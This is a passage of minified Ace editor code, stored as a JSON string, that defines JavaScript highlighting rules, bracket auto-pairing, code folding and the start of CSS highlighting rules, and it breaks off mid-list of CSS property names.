    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|